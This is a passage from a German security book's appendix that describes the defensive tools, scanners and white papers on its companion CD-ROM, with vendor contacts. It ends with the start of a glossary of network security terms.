Einige der Systemschutzvorkehrungen sind das Deaktivieren des MS-DOS-Prompts und des Neustarts in
den MS-DOS-Modus, das Verhindern von Warmstarts, das Blockieren der Ausführung des
Registrierungs- und Systemrichtlinien-Editors, das Verhindern des Einfügens von .reg-Dateien in die
Registry, das Verhindern des Hinzufügens oder Entfernens von Druckern, das Beibehalten eines leeren
Menüs »Dokumente« und das individuelle Verstekken von sensiblen Bereichen und Einstellungen der
Systemsteuerung. StormWindows' Sicherheitsschemata können per Diskette von anderen Computern
importiert oder zu diesen exportiert werden. StormWindows-Veränderungen erfordern nicht die
Verwendung von Richtlinien. Die Schutzvorkehrungen von StormWindows sind wahrscheinlich am
nützlichsten für jemanden, der für mehrere Computer in einer Schule oder Firma verantwortlich ist, einen
Netzwerkverwalter oder Eltern. Der Zugriff auf StormWindows ist durch ein Paßwort geschützt.
Windows WorkStation Lock
Posum L.L.C.
P.O. Box 21015
Huntsville, AL 35824
Fax: 001-205-895-8361
E-Mail: 103672.2634@compuserve.com URL: http://posum.com/
WorkStation Lock bietet eine einfache, preiswerte und effektive Möglichkeit, Ihr System beim
Hochfahren oder von einem Desktop-Shortcut mit einem Paßwortschutz zu versehen, ohne einen
Bildschirmschoner zu verwenden. Es ist einfach zu konfigurieren und erfordert keine Veränderungen
Ihrer aktuellen Systemkonfiguration. Bei Unternehmenslizenzen werden Administratorfunktionen
aktiviert.
Windows TaskLock
Posum L.L.C.
P.O. Box 21015
Huntsville, AL 35824
Fax: 001-205-895-8361
E-Mail: 103672.2634@compuserve.com URL: http://posum.com/
Windows TaskLock bietet eine einfache, preiswerte und effektive Möglichkeit, spezielle Anwendungen
Inhalt der CD-ROM
file:///d|/cool stuff/old/hack/kap_f.htm (3 von 14) [19.04.2000 21:16:12]
mit einem Paßwortschutz zu versehen, unabhängig davon, wie diese ausgeführt werden. Es ist einfach zu
konfigurieren und erfordert keine Veränderungen Ihrer aktuellen Systemkonfiguration. Bei
Unternehmenslizenzen werden Administratorfunktionen aktiviert.
FutureLock by Nerds Unlimited
Nerds Unlimited
5 Rowes Mews-St Peters Basin-Quayside
Newcastle Upon Tyne-England-NE6 1TX
Tel.: 0044-191-2765056
E-Mail: webmaster@nerdsunlimited.com URL: http://www.nerdsunlimited.com/
FutureLock bietet eine Zugriffskontrolle für Windows 95 und unterstützt bis zu 999 Benutzer pro
Rechner. FutureLock ist ein sehr leistungsfähiges und leicht zu verwendendes Schutzprogramm für den
Mehrbenutzer-PC. Es ist für alle Arten von Windows-Anwendern geeignet, besonders, wenn mehr als
eine Person Zugang zu einem PC haben (z.B. in Schulen). Haben Sie dieses Programm installiert, können
Sie sich beruhigt zurücklehnen und sicher sein, daß niemand Ihr System beschädigen oder verändern
kann. Das Paket blockiert auch den Zugriff auf viele Programme, Dateien oder Verzeichnisse, die Sie vor
anderen Benutzern verbergen möchten. Das Programm läuft auf allen PCs, auf denen Windows 95 läuft,
und benötigt 700 K freien Festplattenplatz.
Windows Enforcer
Posum L.L.C.
P.O. Box 21015
Huntsville, AL 35824
Fax: 001-205-895-8361
E-Mail: 103672.2634@compuserve.com URL: http://posum.com/
Windows Enforcer schützt Systeme, die vielen Menschen zugänglich sind und eine konsistente
Konfiguration erfordern, sowie eine durchgängige, begrenzte Auswahl an Diensten (wie öffentliche
Displays oder Computer-Labors). Es ist außerdem großartig für die Kindersicherung einzelner Systeme
geeignet. Das wird erreicht, indem man festlegt, daß benutzerspezifische Aufgaben niemals ausgeführt
werden dürfen, immer ausgeführt werden müssen oder daß ihre Ausführung erlaubt ist. Es ist einfach zu
konfigurieren und bedingt wenig bis gar keine Veränderungen Ihrer aktuellen Systemkonfiguration
(erfordert Windows 95 oder NT).
Enforcer wird erfolgreich in Schulen und großen sowie kleinen Unternehmen auf der ganzen Welt
eingesetzt, um Investitionen zu schützen und die Support-Kosten niedrig zu halten.
FireWall-1
Firewall-Typ: Software
Hersteller: Check Point Software Technologies, Ltd.
Unterstützte Plattformen: Windows NT und Unix
Inhalt der CD-ROM
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URL: http://www.checkpoint.com/products/firewall-1/descriptions/products.html
FireWall-1 (von Check Point Software Technologies, Ltd.) hat den größten Marktanteil auf der Welt.
Das Produkt bietet Paketfilterung, starke Inhaltsprüfung, integrierten Schutz vor Spoofing und sogar
einen Echtzeit-Virenscanner. (FireWall-1 verfügt auch über eine Zeitsteuerung; es ermöglicht Ihnen, die
Zeiten vorzugeben, in denen auf Ihre Netzwerkressourcen zugegriffen werden kann.)
SQLAuditor
DBSECURE
Newport Financial Center
113 Pavonia Avenue, Ste. 406
Jersey City, NJ 07310
Tel.: 001-973-779-3583
Fax: 001-212-656-1556
E-Mail: info@sqlauditor.com URL: http://www.sqlauditor.com/
SQLAuditor erstellt die Sicherheitsrichtlinie für Ihr Unternehmen. Dazu verwendet es SKA (Security
Knowledge Assistant) von DBSECURE und Normvorlagen für »Best Practices«. SQLAuditor
durchstreift Ihr Unternehmen, wobei es sich auf Richtlinienverletzungen, schwache Paßwörter und
Anzeichen böswilligen Verhaltens konzentriert. Die Audit-Resultate werden in einfach lesbaren,
grafischen Berichten ausgegeben. SQLAuditor ermöglicht es außerdem jedem,
SQL-Server-Sicherheitsrisiken und -verletzungen allen Ebenen des Managements zu präsentieren - das
ist sehr gut, wenn Sie versuchen, die Erstellung neuer Richtlinien durchzuboxen.
SQLAuditor prüft folgende Punkte:
Backup-Verfahren
Trojanische Pferde
Backup-Geräte
Leere Paßwörter
Erweiterte gespeicherte Prozeduren
Gastbenutzer und Login-IDs
Login-Angriffe
Verletzung der Login-Zeiten
Falsch verbundene Benutzerkennungen
MS-SQL-Server-Dienst
Verwaiste Benutzerkennungen
Paßwortalterung
Analyse der Paßwortstärke
Entfernter Zugriff und Server
Umkehrung der Login-ID
Gleiche Login-ID
Inhalt der CD-ROM
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Hostname auf Benutzernamen einstellen
SQL-Mail
SQL Server Service Packs
Verbrauchte Login-IDs
Systemtabellenberechtigungen
Webaufgaben
Windows-NT-Dateiberechtigungen/Eigentümer
Windows NT Service Packs und Hotfixes
xp_cmdshell-Konfiguration
Die Mindestanforderungen für SQLAuditor sind:
Rechnerausstattung
16 Mbyte RAM
30 Mbyte freier Festplattenplatz
Zugriff auf SQL-Server mit dem Login sa
Netzwerkverbindung zum SQL-Server wird geprüft
PC 486/50 MHz
Windows 95/98 oder Windows NT 4.0
Für einen geprüften SQL-Server:
Windows NT 3.51 und höher
SQL Server 6.0 und höher
Secure4U
Advanced Computer Research
E-Mail: sales@acrmain.com URL: http://www.acrmain.com/index.html
Secure4U bietet leistungsfähige Filterung und Zugriffskontrolle. Es zielt speziell auf Java- Applets und
andere eingebettete Plug-Ins und Skripte ab und hindert diese daran, in Ihr Netzwerk zu gelangen.
SYNE
Synetra Systems
Kontakt: Michael Pacher
Spoettlstraße 1
4600 Wels, Österreich
Tel.: 0043-664-3000 347
E-Mail: mcp@aon.at URL: http://www.synetra-security.com/
SYNE ist ein Software-Tool, das Systemadministratoren von Windows-NT/95-Netzwerken hilft, ihre
sich wiederholenden und zeitaufwendigen Aufgaben zu erleichtern und zu zentralisieren. SYNE ist ein
Startmenü-Wizard; die Startmenüs aller Benutzer lassen sich zentral verwalten.
Inhalt der CD-ROM
file:///d|/cool stuff/old/hack/kap_f.htm (6 von 14) [19.04.2000 21:16:12]
SYNE hilft Administratoren bei der Sicherung der Desktops ihrer Anwender und ist ein weiterer
wichtiger Schritt auf dem Weg zur Verringerung des Administrationsaufwandes für Windows. (SYNE
bringt Unternehmen auch eine Reduzierung der Gesamtkosten ihrer Netzwerk- und
Desktop-Umgebungen.)
Desktop Surveillance 97
Omniquad, Ltd.
82 Great Eastern St, London EC2A 3JL
Tel.: 0044-171-749 7266
Fax: 0044-171-749 7267
E-Mail: support@omniquad.com URL: http://www.omniquad.com/
Omniquad Desktop Surveillance bietet eine einzigartige Annäherung an das Problem der
Zugriffskontrolle sowie der Verhinderung und Untersuchung von Mißbrauch von Computer- Hardware
und -Software. Statt der bloßen Behinderung von Aktionen durch Benutzer wird eine der ältesten
bekannten Methoden verwendet, die auf der Überwachung der Benutzer beruht.
Das Programm ist das Software-Äquivalent zu einer Überwachungskamera und zeichnet die
Desktop-Aktivitäten auf. Es kann auf zwei Arten operieren: entweder durch Ausgabe von Warnungen,
um den Benutzer zu entmutigen, oder durch eine Überwachung im Hintergrund. Die Anwendung kann
Aufzeichnungen von mehreren Tagen speichern und läßt sich für fast jede Situation konfigurieren. Zum
Beispiel kann die Aufzeichnung zu bestimmten Uhrzeiten beginnen, beim Öffnen einer bestimmten
Anwendung oder beim Einloggen ins Internet.
Diese Anwendung ist das einzige verfügbare Tool, das nicht nur die Probleme des Web-Surfens, sondern
gleichzeitig auch Newsgruppen und IRC berücksichtigt. Die Programmaufzeichnung kann aktiviert
werden, sobald Sie bestimmte Webseiten oder IRC-Kanäle aufsuchen. Die Desktop-Überwachung kann
auch aus der Ferne gesteuert werden, entweder über ein lokales Netzwerk oder das Internet. In beiden
Fällen ist es möglich, die Aktivitäten des lokalen Desktop in Echtzeit zu verfolgen. Das Programm kann
für viele Situationen verwendet werden. Zum Beispiel, wenn Sie Angestellte davon abhalten wollen,
bestimmte Webseiten aufzusuchen oder bestimmte Aufgaben durchzuführen, oder wenn Sie herausfinden
wollen, was auf Ihrem PC passiert, während Sie abwesend sind. Eine unbegrenzte Zahl von Benutzern
kann mit jeweils eigenem Überwachungsprofil hinzugefügt werden. Systemanforderungen:
Windows 95/98/NT.
Cerberus Access Control
HM Software, Ltd.
26, Beech Grove, Benton
Newcastle upon Tyne, NE12 8LA, Großbritannien
Kontakt: Susan Morrow/Karl Glen
Tel.: 0044-191-292 2270
E-Mail: hmsoftware@ndirect.co.uk URL: http://www.opens.com/
Cerberus ermöglicht Ihnen, den Benutzerzugriff auf Programme, Dateien und Funktionen auf Ihrem
Computer zu beschränken. Sie können jede Datei, jedes Programm, Verzeichnis oder Laufwerk schützen
Inhalt der CD-ROM
file:///d|/cool stuff/old/hack/kap_f.htm (7 von 14) [19.04.2000 21:16:12]
und jedem beliebigen Benutzer individuelle Zugriffsrechte auf die geschützten Dinge gewähren. Jedem
geschützten Objekt können unterschiedliche Arten des Schutzes zugewiesen werden: Nur-Lese-Zugriff,
kein Zugriff und so weiter.
Auf Dateien und Anwendungen, die nicht markiert sind, kann normal zugegriffen werden. Cerberus
ermöglicht Ihnen auch, Dateien und Ordner durch Verschlüsselung zu schützen. Ver- und
Entschlüsselung geschehen dabei für den Benutzer transparent; es ist keine Benutzerinteraktion
erforderlich. (Als Verschlüsselungsalgorithmus wird Blowfish verwendet.)
Cerberus kann über ein Netzwerk fernverwaltet und so eingerichtet werden, daß die Zugriffsrechte eines
Benutzers beim Einloggen von einem Server heruntergeladen werden.
HASHCipher/OCX
Bokler Software Corp.
P.O. Box 261
Huntsville, AL 35804
Kontakt: James Moore
Tel.: 001-205-539-9901
E-Mail: info@bokler.com URL: http://www.bokler.com/
HASHCipher verwendet die neueste geprüfte Version des Secure-Hash-Algorithmus (SHA- 1), der die
bislang unerreichte Sicherheit von 160-Bit-Message-Digests bietet. HASHCipher/OCX unterstützt alle
Visual-Basic-Datentypen, einschließlich Unicode und Standard- Zeichenfolgen. Es verfügt über folgende
Merkmale:
Mischen von Datentypen während der Hash-Berechnung.
Erfordert keine Blockverarbeitung von Daten während der Hash-Berechnung.
Unterstützt Mehrfachinstanzen der Steuerung; simultane Verarbeitung von separaten
Datenströmen
Bietet eine einfach zu bedienende Benutzeroberfläche.
Das Message-Digest-Resultat der Secure-Hash-Berechnung steht als hexadezimale Zeichenfolge
und als Integer-Array zur Verfügung.
Kompatibel mit allen visuellen Entwicklungsumgebungen, die ActiveX-Steuerelemente
unterstützen.
Beinhaltet kommentierte Visual-Basic-Quellcodebeispiele, einschließlich eines Datei-
Hashing-Utility und eines Beispiels für die Paßwortprüfung.
Das Paket verfügt außerdem über eine Online-Hilfe und eine Direkthilfe.
F.1.3 UNIX Software
SATAN (Security Administrator's Tool for Analyzing Networks)
Autoren: Dan Farmer und Wietse Venema
URL: http://www.trouble.org/~zen/satan/satan.html
Inhalt der CD-ROM
file:///d|/cool stuff/old/hack/kap_f.htm (8 von 14) [19.04.2000 21:16:12]
SATAN ist ein Tool für Systemadministratoren. Es erkennt mehrere verbreitete Netzwerk-
Sicherheitsprobleme und berichtet darüber, ohne sie tatsächlich auszunutzen. Für jede Art eines
gefundenen Problems bietet SATAN ein Tutorial, das das Problem und seine möglichen Auswirkungen
erläutert. Das Tutorial erklärt außerdem, wie das Problem behoben werden kann: durch Korrektur eines
Fehlers in einer Konfigurationsdatei, Installation eines Bugfix des Herstellers, Verwendung anderer
Mittel zur Zugriffsbeschränkung oder einfach Deaktivierung des Dienstes. SATAN sammelt
Informationen, die jedem verfügbar sind, der Zugriff zu dem Netzwerk hat. Mit einer ordnungsgemäß
konfigurierten Firewall sollten diese Informationen für Außenstehende fast gleich Null sein. SATAN
wird unweigerlich Probleme finden. Das sind derzeit folgende:
NFS-Dateisysteme werden an beliebige Hosts exportiert.
Zugriff auf die NIS-Paßwortdatei von beliebigen Hosts.
Alte sendmail-Versionen (vor 8.6.10).
REXD-Zugriff von beliebigen Hosts.
X-Server-Zugriffskontrolle deaktiviert.
Auf beliebige Dateien kann über TFTP zugegriffen werden.
Entfernter Shell-Zugriff von beliebigen Hosts.
Schreibbares anonymes FTP-Home-Verzeichnis.
Systemanforderungen: Unix, mindestens 16 Mbyte RAM und 50 MHz.
SAINT (Security Administrator`s Integrated Network Tool)
URL: http://www.wwdsi.com/saint/
Saint ist ein auf SATAN basierendes Tool zur Sicherheitsüberprüfung. Es kann Rechner durch eine
Firewall hindurch scannen, enthält die neuesten Security-Checks vom CERT und aus den
CIAC-Bulletins, zeigt für gefundene Sicherheitslücken den Schweregrad an und läßt sich über ein
benutzerfreundliches HTMT-Interface bedienen. SAINT findet auch recht neue Sicherheitsprobleme wie
z.B. einen installierten Back-Office-Server, mit dem sich Windowsrechner fernsteuern lassen.
Nessus
Scanner-Typ: TCP-Portscanner
Autor: Renaud Deraison
Sprache: C
Kompilierungsplattform: Linux
Zielplattform: Unix, mehrere
Erforderlich: Linux, C
Nessus ist das neueste Produkt einer Serie von Portscannern. Das von dem 18jährigen Renaud Deraison
geschriebene Tool eignet sich ausgezeichnet für den Einbezug vieler unterschiedlicher Angriffe in einen
Scan. Das Hinzufügen neuer Module ist sehr einfach.
Nessus ist aus verschiedenen Gründen empfehlenswert:
Es ist auf dem neuesten Stand.
Inhalt der CD-ROM
file:///d|/cool stuff/old/hack/kap_f.htm (9 von 14) [19.04.2000 21:16:12]
Es enthält Web-basierte Angriffe.
Es ist umsonst.
Hinweis:
Nessus wird unter der GNU Public License der Free Software Foundation vertrieben. Der Verkauf von
GNUPL-Quellen unterliegt Beschränkungen. Wenn Ihnen die GNU Public License nicht bekannt ist,
können Sie hier Informationen finden: http://www.gnu.org/copyleft/gpl.html.
SAFEsuite
Internet Security Systems, Inc. (ISS)
41 Perimeter Center East, Ste. 660
Atlanta, GA 30071
Tel.: 001-770-395-0150
Fax: 001-770-395-1972
E-Mail: info@iss.net URL: http://www.iss.net/
SAFEsuite umfaßt eine Reihe von Tools, die zur Prüfung, Überwachung und Korrektur aller Aspekte der
Netzwerksicherheit gedacht sind. Internet Scanner ist der schnellste und umfassendste proaktive Unix-
und Windows-NT-Sicherheitsscanner, der derzeit verfügbar ist. Er ist einfach konfigurierbar, scannt
schnell und erzeugt umfassende Berichte. Internet Scanner prüft eine Netzwerkumgebung auf
ausgewählte Sicherheitslücken, indem er die Techniken eines entschlossenen Eindringlings simuliert. Je
nach den ausgewählten Berichtsoptionen liefert Internet Scanner Informationen über jede gefundene
Schwachstelle: Ort, genaue Beschreibung und vorgeschlagene Korrekturmaßnahmen (erfordert
Windows NT oder Unix).
SysCAT
Sytex, Inc.
Kontakt: Peter Wells, VP of Information Operations
9891 Broken Land Parkway, Ste. 304
Columbia, MD 21046
Tel.: 001-410-312-9114
E-Mail: petew@sso.sytexinc.com URL: http://www.sytexinc.com/
SysCAT ist kein Netzwerk-Scanner (wie Ballista oder ISS). Statt dessen ist es ein Host- basiertes Tool
zur Beurteilung der lokalen Konfiguration Ihrer Workstation. SysCAT identifiziert eine Vielzahl von
Problemen, die durch falsche Konfigurationen entstehen. Die in einem benutzerfreundlichen Format
erstellten Berichte führen die einzelnen Konfigurationsfehler auf und weisen auf die Änderungen hin, die
Sie vornehmen sollten, um Ihr System sicher zu machen.
SysCAT vergleicht Ihre Workstation-Richtlinien mit Referenzmodellen. Dieses Referenzmodell ist je
nach Anbieter und Version des Unix, auf dem es läuft, ein anderes. Es ist von Standards für die
Sicherheitskonfiguration abgeleitet, die von Unix-Anbietern aufgestellt werden. Die verwendeten
Informationen zu Konfigurationsschwachstellen stammen aus Internet-Newsgruppen und Mailinglisten
(einschließlich Bugtraq, BOS, CERT, CIAC) und aus Sytex' Information Warfare Laboratory.
Inhalt der CD-ROM
file:///d|/cool stuff/old/hack/kap_f.htm (10 von 14) [19.04.2000 21:16:12]
SysCAT untersucht eine breite Palette von Problemen:
Vertrauensbeziehungen zu Hosts
Nicht erforderliche NFS-Exporte
Zugriffskontrolle und Protokollierung
Dateiberechtigungen
Rootkit-Attacken
Betriebssystemspezifische Maßnahmen (suid/sgid-Programme, Weiterleitung von IP-Paketen und
so weiter)
Systemanforderungen für die SysCAT-Distribution auf der CD-ROM: Solaris 2.5.x
F.1.4 Dokumentationen und Medien
Im folgenden stellen wir Ihnen einige Anbieter vor, die zum Inhalt des Verzeichnisses docs auf der CD
beigetragen haben.
F-Secure Desktop 2.0
Data Fellows
675 N. First Street, 8th floor
San Jose, CA 95112
Tel.: 001-408-938-6700 / +358 9 859 900
Fax: 001-408-938-6701 / +358 9 8599 0599
E-Mail: US-sales@DataFellows.com URL: http://www.DataFellows.com/
F-Secure Desktop schützt vertrauliche Daten auf Windows-PCs und -Laptops. Es integriert eine
Verschlüsselung in die Benutzeroberflächen von Windows 95, Windows NT 4.0 und Windows 3.1x. Mit
F-Secure Desktop werden tägliche Ent- und Verschlüsselungsroutinen zu einem automatischen
Bestandteil des An- und Abmeldevorgangs bei einem Windows- System. F-Secure Desktop bietet auch
die Möglichkeit zur manuellen Verschlüsselung von Dateien und Ordnern sowie eine Unterstützung für
den Versand von verschlüsselten E-Mail- Anhängen.
F-Secure FileCrypto 3.0
Data Fellows
675 N. First Street, 8th floor
San Jose, CA 95112
Tel.: 001-408-938-6700 / +358 9 859 900
Fax: 001-408-938-6701 / +358 9 8599 0599
E-Mail: US-sales@DataFellows.com URL: http://www.DataFellows.com/
F-Secure FileCrypto schützt vertrauliche Daten auf PCs und Laptops. Es integriert eine Verschlüsselung
in die Benutzeroberfläche von Windows NT 4.0. Ent- und Verschlüsselungsroutinen laufen vollständig
automatisch und für den Benutzer transparent ab. F-Secure FileCrypto bietet auch die Möglichkeit zur
manuellen Verschlüsselung von Dateien und Ordnern sowie eine Unterstützung für den Versand von
Inhalt der CD-ROM
file:///d|/cool stuff/old/hack/kap_f.htm (11 von 14) [19.04.2000 21:16:12]
verschlüsselten E-Mail-Anhängen. Die dynamische Verschlüsselungstechnologie von F-Secure
FileCrypto bietet auch in den schwierigsten Situationen Schutz - z.B. wenn ein Laptop aus Versehen
ausgemacht wird oder die Batterien den Geist aufgeben. (F-Secure FileCrypto verwendet außerdem die
Architektur von F- Secure CounterSign zur nahtlosen Integration mit Viren-Scannern.)
F-Secure-SH-Produktfamilie
Data Fellows
675 N. First Street, 8th floor
San Jose, CA 95112
Tel.: 001-408-938-6700 / +358 9 859 900
Fax: 001-408-938-6701 / +358 9 8599 0599
E-Mail: US-sales@DataFellows.com URL: http://www.DataFellows.com/
F-Secure SSH Tunnel&Terminal und F-Secure SSH Server bieten Benutzern von Windows- ,
Macintosh- und Unix-Systemen die Möglichkeit authentifizierter, stark verschlüsselter, privater und
sicherer TCP/IP-Verbindungen zu Unternehmensressourcen wie z.B. E-Mail, Webservern, Datenbanken
und so weiter. Das Produkt bietet auch sichere Remote-Login- Verbindungen, Datentransfers, X11- und
TCP/IP-Verbindungen über nicht vertrauenswürdige Netzwerke. Systemadministratoren können die mit
dem Server-Paket gelieferten Tools verwenden, um existierendes rsh, rlogin, rep, rdist und Telnet durch
sichere Protokolle zu ersetzen. Diese sicheren Protokolle ermöglichen es Systemadministratoren, alle
Fernverwaltungsaufgaben über sichere Verbindungen abzuwickeln.
F-Secure VPN+ 3.0
Data Fellows
675 N. First Street, 8th floor
San Jose, CA 95112
Tel.: 001-408-938-6700 / +358 9 859 900
Fax: 001-408-938-6701 / +358 9 8599 0599
E-Mail: US-sales@DataFellows.com URL: http://www.DataFellows.com/
F-Secure VPN+ sichert kritische Netzwerkverbindungen zwischen entfernten Büros, Geschäftspartnern,
Telearbeitern und reisendem Verkaufspersonal. Diese zentral verwaltete Sicherheitslösung für
Unternehmen besteht aus folgenden Komponenten, die alle Erfordernisse eines Netzwerkes erfüllen:
Verschlüsselung mit voller Schlüssellänge garantiert eine weltweite Sicherheit.
Die Lösung ist unabhängig von Routern und Firewalls.
F-Secure VPN ist einfach zu installieren, zu konfigurieren und zu warten.
F-Secure VPN+ 3.0 arbeitet vollständig transparent und damit für den Endanwender absolut unauffällig.
Security Alert for Enterprise Resources (SAFER)
Siam Relay, Ltd.
115 Phaholyothin Soi 8
Bangkok, 10400, Thailand
Inhalt der CD-ROM
file:///d|/cool stuff/old/hack/kap_f.htm (12 von 14) [19.04.2000 21:16:12]
Kontakt: Emmanuel Gadaix (emmanuel@siamrelay.com)
Contact: Philip Dewar (philip@siamrelay.com)
Tel.: 00662-616-8628
E-Mail: info@siamrelay.com URL: http://www.siamrelay.com/
Der von Siam Relay herausgegebene Newsletter soll Führungskräften und IT-Profis im Bereich der
Sicherheit bei ihrer Arbeit helfen. Er enthält Berichte über ernste Sicherheitsvorkommnisse und über
neue Hacker- und Cracker-Tools.
White Papers von Axent
AXENT Technologies, Inc.
2400 Research Boulevard
Rockville, MD 20850
URL: http://www.axent.com/
Die diesem Buch beiliegende CD-ROM enthält zwei ausgezeichnete White Papers von Robert A. Clyde:
»Security Assessment Methodologies«
»Intrusion Detection Methodologies«
Firewall Management and Troubleshooting Tutorial from WITSEC
Widespread Internetwork Technology for Secure Computing, Inc.
10 Oak Street
Fitchburg, MA 01420
E-Mail: info@witsec.com URL: http://www.witsec.com/
Dies ist eine kurze, aufschlußreiche PowerPoint-Präsentation von WITSEC. Das Tutorial behandelt
DNS, Routing, Authentifizierung, Virtuelle Private Netzwerke und andere wichtige Themen.
Research Papers from HomeCom Communications
HomeCom Communications
Internet Security Services
1900 Gallows Road
Vienna, VA 22182
Kontakt: Roger Nebel, CISA, CISSP
Tel.: 001-703-847-1706
E-Mail: security@homecom.com URL: http://www.homecom.com/
Die diesem Buch beiliegende CD-ROM enthält drei Dokumente von HomeCom:
»Choosing a Firewall« - Dieses Dokument behandelt wichtige Punkte, die bei der Auswahl einer
Firewall zu beachten sind.
»Computer Security Incident Response Team Guidelines« - Dieses Dokument präsentiert die
relevanten Aspekte der Planung, Bildung und Ausübung eines Teams zur Reaktion auf
Sicherheitsvorfälle.
Inhalt der CD-ROM
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»HomeCom Security Services« - Dieses Dokument beschreibt die von HomeCom angebotenen
Dienste und einige praktische Beispiele dafür, wie sie Ihrem Unternehmen helfen könnten.
PowerPoint Presentation from DREAMWVR Integration Services
DREAMWVR.com
555 Lake Newell Cres. S.E.
Calgary, AB, T2J 3L7 Kanada
E-Mail: dreamwvr@dreamwvr.com URL: http://www.dreamwvr.com/
Dreamwvr.com bieten vor Ort oder online Beratungen für Internet-Planung, -Entwicklung und
-Integration, einschließlich Sicherheitstechnologien. Die diesem Buch beiliegende CD- ROM enthält eine
Microsoft-PowerPoint-Präsentation vom Entwicklungsteam Dreamwvr-E.
F.1.5 Hinweis zur Software
Bitte lesen Sie alle Dokumentationen der Softwareprodukte von Drittanbietern (normalerweise in
Dateien mit Namen readme.txt oder license.txt) und befolgen Sie alle Anweisungen.
Markt+Technik, ein Imprint der Pearson Education Deutschland GmbH.
Elektronische Fassung des Titels: hacker's guide, ISBN: 3-8272-5460-4
Inhalt der CD-ROM
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G
Glossar
G.1 Glossar der Sicherheitsbegriffe
Sie werden vielen der in diesem Kapitel aufgeführten Akronyme, Begriffe und Namen begegnen, wenn
Sie sich mit der Internet-Sicherheit beschäftigen.
10Base2 - Der Ethernet-Standard für den Transport von Daten über ein dünnes, bis zu 200 Meter
langes Koaxialkabel.
10Base5 - Der Ethernet-Standard für den Transport von Daten über ein dickes, bis zu 500 Meter langes
Koaxialkabel.
10BaseT - Der Ethernet-Standard für den Transport von Daten über ein bis zu 600 Meter langes
Twisted-Pair-Kabel.
802.2 - Ein Ethernet-Standard. Mehr Informationen darüber finden Sie unter
http://www.optimized.com/tech_cmp/en802_3.html.
802.3 SNAP - Ein Ethernet-Standard. Mehr Informationen darüber finden Sie unter
http://www.optimized.com/tech_cmp/ensnap.html.
AARP - AppleTalk-Adreßauflösungsprotokoll (AppleTalk Address Resolution Protocol) - Apples
Version von ARP; dieses Protokoll löst IP-Adressen in physikalische Adressen auf.
Absturz - Wenn ein System plötzlich ausfällt und neu gebootet werden muß.
Adaptive Pulscode-Modulation - Verfahren zur Codierung von Sprache in ein digitales Format zur
Datenfernübertragung.
Administrator - Im allgemeinen ein Mensch, der die Aufgabe hat, ein Netzwerk zu verwalten. Im
spezielleren Sinne der allmächtige Supervisor-Account bei Windows NT. Wer bei Windows NT über
Administrator-Privilegien verfügt, hat die Kontrolle über dieses Netzwerk, die Arbeitsgruppe oder
Domain.
AIM - Ascend Inverse Multiplexing - Proprietäres Protokoll, das von Ascend Communications
(einem Router-Hersteller) entwickelt wurde, um Multiplexer zu verwalten. Sie erfahren mehr dazu
unter http:// www.ascend.com/.
anlpasswd - Ein proaktives Paßwortprüfprogramm ähnlich passwd+. Sie erhalten es unter
ftp://coast.cs.purdue.edu/pub/tools/unix/anlpasswd/.
Glossar
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Anonyme E-Mail - E-Mail, die nicht zurückverfolgt werden kann, weil Teile des Headers entfernt oder
anonymisiert worden sind.
Anonymer Remailer - Ein E-Mail-Server, der die Header von E-Mail-Nachrichten entfernt und
dadurch keine Rückschlüsse auf die Quelle der E-Mail mehr zuläßt. Hier können Sie einen
ausprobieren: http://www.replay.com/.
ANSI C - ANSI C ist eine Version der Programmiersprache C, die von dem American National
Standards Institute standardisiert wurde.
Anwendungsgateway/Firewall (Application Gateways - Firewalls) - Das sind Firewall-Einrichtungen,
die eine direkte Kommunikation zwischen der Außenwelt und einem internen Netzwerk mit
Internet-Anbindung verhindern. Der Informationsfluß nach und von außen wird durch eine Reihe von
Proxy- Servern gefiltert. Stellen Sie sich diese wie Rechtsanwälte der Internet-Sicherheit vor. Der
Übergang (das Gateway) spricht für beide Enden, ohne einen direkten Zugriff der beiden aufeinander
zu ermöglichen.
Applet - Ein kleines Programm zur Verwendung innerhalb von Webbrowser- Umgebungen.
Üblicherweise in der Programmiersprache Java geschrieben, die von Sun Microsystems entwickelt
wurde. Applets versehen Webseiten im allgemeinen mit Grafiken, Animationen und Text-Effekten. Sie
sind aus sicherheitstechnischen Gründen relevant, weil Java ungehindert durch Firewalls dringen kann,
wenn keine Vorkehrungen dagegen getroffen worden sind.
AppleTalk - Eine Protokollfamilie von Apple Computer, die Ethernet und Token Ring unterstützt.
AppleTalk Data Stream Protocol - Ein Peer-to-Peer-Kommunikationsprotokoll zum Transport von
großen Datenmengen über ein Netzwerk. (Es ist in OpenTransport integriert.) Mehr Informationen
finden Sie unter http:// adrm1.euro.apple.com/techpubs/mac/NetworkingOT/NetworkingWOT-
69.html#HEADING69-0.
AppleTalk Echo Protocol - Apples Version des Echo-Protokolls; verwendet zum Testen des
Netzwerks, indem man einen entfernten Server zum Zurücksenden von Paketen veranlaßt, die Sie ihm
senden.
appz - Slang-Ausdruck. Siehe warez.
ARAP - AppleTalk Remote Access Protocol - Die Aktivierung dieses Protokolls macht Ihren
Macintosh-Server zu einem Server für Fernzugang, mit dem entfernte Benutzer eine Verbindung
herstellen können.
ARP - Adreßauflösungsprotokoll (Address Resolution Protocol) - Das Adreßauflösungsprotokoll löst
IP-Adressen in physikalische Adressen von Netzwerkknoten auf.
ASDL - Asymmetric Digital Subscriber Line - Eine digitale High-Speed- Telefontechnologie, die
Ihnen einen schnellen Zugang zum Internet ermöglicht. ASDL ist bahnbrechend schnell, wenn Sie
Daten herunterladen (bis 8 Mbps). Beim Hochladen von Daten sind Sie jedoch auf 768 Kbps
beschränkt. ASDL ist in Deutschland noch nicht verfügbar und wird zuerst nur in Großstädten
angeboten werden.
Asynchrones PPP - Das Allerwelts-PPP; die Sorte, die normalerweise von PPP-Einwählkunden
verwendet wird.
Glossar
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ATM - Asynchroner Übertragungsmodus (Asynchronous Transfer Mode) - Ein
Übermittlungsverfahren, mit dem Informationen in Standardblöcken bei hoher Geschwindigkeit
übertragen werden können.
Attribut - Der Zustand einer bestimmten Ressource (ob Datei oder Verzeichnis), der angibt, ob diese
Ressource lesbar, versteckt, eine Systemdatei o.ä. ist. (Dieser Begriff wird hauptsächlich verwendet,
wenn man sich auf Dateien in einem Microsoft-basierten Dateisystem bezieht.) Diese Angabe kann
sich auch auf den Zustand von Objekten in JavaScript oder sogar HTML beziehen.
Audit - Eine Prüfung, von unabhängiger Stelle oder intern, der bestehenden Sicherheitsrichtlinien und
-verfahren. Audits helfen Systemadministratoren und Sicherheitspersonal dabei, Stärken und
Schwachpunkte des Sicherheitszustandes eines Netzwerkes zu bestimmen. Audits werden
normalerweise gemäß einem sehr straffen, gut vorbereiteten Angriffsplan durchgeführt, der speziell für
